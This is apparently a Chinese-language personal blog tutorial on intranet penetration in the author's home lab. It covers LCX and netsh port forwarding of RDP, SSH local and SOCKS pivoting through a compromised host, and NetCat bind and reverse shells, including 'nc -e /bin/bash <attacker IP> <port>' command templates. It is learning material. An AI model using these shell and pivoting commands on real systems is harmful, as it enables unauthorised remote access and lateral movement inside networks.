内网渗透

内网渗透

介绍: 攻击者通过边界主机进入内网,往往会利用它当跳板进行横向渗透,但现在的内部网络大多部署了很多安全设备,网络结构错综复杂,对于某些系统的访问会受到各种阻挠,这就需要借助代理去突破这些限制,因此面对不同的网络环境对于代理的选择及使用显得格外重要。
情景介绍: 我的本地机子网段为10开头的看成公网,电脑中装有虚拟机网段为192网段看成内网

端口转发和端口映射

  端口转发,有时被称为做隧道,是安全壳(SSH)为网络安全通信使用的一种方法。简单来说,端口转发就是将一个端口收到的流量转发到另一个端口。端口映射是NAT的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射到另一个端口供他人使用。

  1. LCX工具
      LCX是一款端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。
    命令:

    1
    2
    3
    4
    5
    6
    7
    D:\常用文件\工具\网络工具\内网渗透\lcx.exe -<listen|tran|slave> <option> [-log logfile]
    [option:]
    端口转发
    -listen <监听slave请求的端口> <等待链接的端口> #在外网电脑上执行
    -slave <外网IP> <监听端口> <目标IP>> <目标端口> #在外网电脑上执行
    端口映射
    -tran <等待链接的端口> <目标IP> <目标端口>

      推荐使用端口映射命令,端口转发命令需要在内网主机和外网主机都要执行,并且不稳定,我没有实验成功。端口映射只要在外网主机执行,
    实操
      端口映射:在外网主机输入lcx.exe -tran 2222 192.168.200.40 3389 ,把192网段的主机的3389端口映射到本机的2222端口,访问2222端口相当于访问192网段的3389端口
    端口映射
      端口转发:在内网主机输入命令lcx.exe -slave 10.1.38.70 3333 192.168.200.40 3389 ,在外网主机执行命令lcx.exe -listen 3333 2222 把 内网主机转发的3333端口的流量转到2222端口
    端口转发内网
    端口转发外网

  2. windows自带命令
    参考博客

    Windows 从 Windows 2000 开始就提供了最基本的端口转发功能,是基于 Windows 的IP Helper服务的,不仅可以提供端口转发功能,还可以通过将 IPv4 和 IPv6 的不同地址的数据进行转发,但是只可以转发 TCP 协议,暂不支持 UDP 协议,使用netsh interface portproxy命令即可开启。
    命令帮助

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    PS C:\Windows\system32> netsh interface portproxy
    下列指令有效:
    此上下文中的命令:
    ? - 显示命令列表。
    add - 在一个表格中添加一个配置项。
    delete - 从一个表格中删除一个配置项。
    dump - 显示一个配置脚本。
    help - 显示命令列表。
    reset - 重置端口代理配置状态。
    set - 设置配置信息。
    show - 显示信息。

    查看所有的端口转发规则netsh interface portproxy show all
    添加规则帮助

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    add v4tov4     - 添加通过 IPv4 的 IPv4 和代理连接到的侦听项目。
    add v4tov6 - 添加通过 IPv6 的 IPv4 和代理连接到的侦听项目。
    add v6tov4 - 添加通过 IPv4 的 IPv6 和代理连接到的侦听项目。
    add v6tov6 - 添加通过 IPv6 的 IPv6 和代理连接到的侦听项目。

    用法: add v4tov4 [listenport=]<integer>|<servicename>
    [connectaddress=]<IPv4 address>|<hostname>
    [[connectport=]<integer>|<servicename>]
    [[listenaddress=]<IPv4 address>|<hostname>]
    [[protocol=]tcp]

    参数:

    标记 值
    listenport - IPv4 侦听端口。
    connectaddress - IPv4 连接地址。
    connectport - IPv4 连接端口。
    listenaddress - IPv4 侦听地址。
    protocol - 使用的协议。现在只支持 TCP。

    添加规则
    netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=3389 connectaddress=<目标IP> connectport=3389
    把目标IP的3389端口转发到本机
    delete命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    delete v4tov4  - 删除通过 IPv4 的 IPv4 和代理连接到的侦听项目。
    delete v4tov6 - 删除通过 IPv6 的 IPv4 和代理连接到的侦听项目。
    delete v6tov4 - 删除通过 IPv4 的 IPv6 和代理连接到的侦听项目。
    delete v6tov6 - 删除通过 IPv6 的 IPv6 和代理连接到的侦听项目。

    用法: delete v4tov4 [listenport=]<integer>|<servicename>
    [[listenaddress=]<IPv4 address>|<hostname>]
    [[protocol=]tcp]

    参数:

    标记 值
    listenport - 要侦听的 IPv4 端口。
    listenport - 要侦听的 IPv4 地址。
    protocol - 要使用的协议。当前仅支持 TCP。

    删除规则
    PS C:\Windows\system32> netsh interface portproxy delete v4tov4 listenaddress=127.0.0.1 listenport=3389

使用SSH端口转发

  1. 本地转发
      设攻击者已经拿下了公网主机,并且通过主机A获取到了内网主机IP和端口信息,但是攻击者从攻击机无法直接访问内网,公网主机安装了SSH服务端,这时攻击者便可通过SSH协议连接到公网主机,再通过公网主机做跳板,连接内网主机。命令ssh -L <本机IP>:<本地端口>:<目的IP>:<目的IP端口> -fN <跳板主机地址>,命令在攻击机上执行。
  2. 动态转发
      动态转发指的是,本机与 SSH 服务器之间创建了一个加密连接,然后本机内部针对某个端口的通信,都通过这个加密连接转发。它的一个使用场景就是,访问所有外部网站,都通过 SSH 转发。
    动态转发需要把本地端口绑定到 SSH 服务器。至于 SSH 服务器要去访问哪一个网站,完全是动态的,取决于原始通信,所以叫做动态转发。
    ssh -D <本地端口> -CfNg <ssh服务器地址>
    这种转发采用了 SOCKS5 协议,可以在客户端配置代理通过shh服务器访问服务。

反弹shell

  NetCat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通过NC可以进行端口扫描、反弹Shell、端口监听和文件传输等操作.Centos8自带NetCat.

  1. 正向shell
      命令需要在两个能互相访问的的主机上运行。在目标机上输入nc -lvvp <端口> -e /bin/bash(在linux下,如果是windows则需要把/bin/bash换成cmd.exe程序的路径),注意开放目标机上的端口,然后在攻击机上输入nc <目标机的IP> <目标机端口>
  • 实操
  • 目标机*
    正向目标nc
  • 攻击机*
    正向攻击nc
  1. 反向shell
      当目标机可访问外网时,可先在攻击机监听某一端口,然后从目标机连接此端口反向反弹Shell。在攻击机上输入nc -lvvp <端口>(监听某个端口),在目标机上输入nc -e /bin/bash <攻击机IP> <攻击机开放的端口>,我感觉反向shell类似于钓鱼。
  • 实操
  • 攻击机*
    反向shell攻击nc
  • 目标机*
    反向shell目标nc
  • 攻击机*
    之后弹出
    反向shell攻击nc运行后
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 myzyzy

请我喝杯咖啡吧~

支付宝
微信